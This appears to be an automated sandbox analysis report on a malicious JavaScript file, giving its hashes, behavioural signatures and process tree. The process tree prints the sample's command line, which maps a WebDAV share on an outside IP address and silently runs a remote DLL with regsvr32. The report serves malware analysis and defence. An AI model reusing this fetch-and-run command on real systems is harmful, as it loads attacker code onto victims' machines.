Analysis
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max time kernel
148s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
23/07/2024, 01:53
Static task
static1
Behavioral task
behavioral1
Sample
3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b.js
Resource
win10v2004-20240709-en
General
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Target
3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b.js
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Size
4KB
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MD5
e55c494f15973b7d79cc8be503c3170a
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SHA1
27b74c5618a83334129c6cc8dbda5d3ee1b72df5
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SHA256
3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b
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SHA512
5ba506c4a1a50507bfdaae3ce104be931fff17455768830227271aef4c2af1dd8ff88a4dfae813610af93c9e6996678c1e1e72d7619c90ffb0c4fe7bab32f9f9
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SSDEEP
96:nTqcmdpFdOQlVJ3voMALBAkMloMALB0Jlnr2:Ty3VsLBAk1LBe2
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2720 wrote to memory of 2800 2720 wscript.exe 84 PID 2720 wrote to memory of 2800 2720 wscript.exe 84 PID 2800 wrote to memory of 3016 2800 cmd.exe 86 PID 2800 wrote to memory of 3016 2800 cmd.exe 86
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\2341224714084.dll2⤵
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:3016
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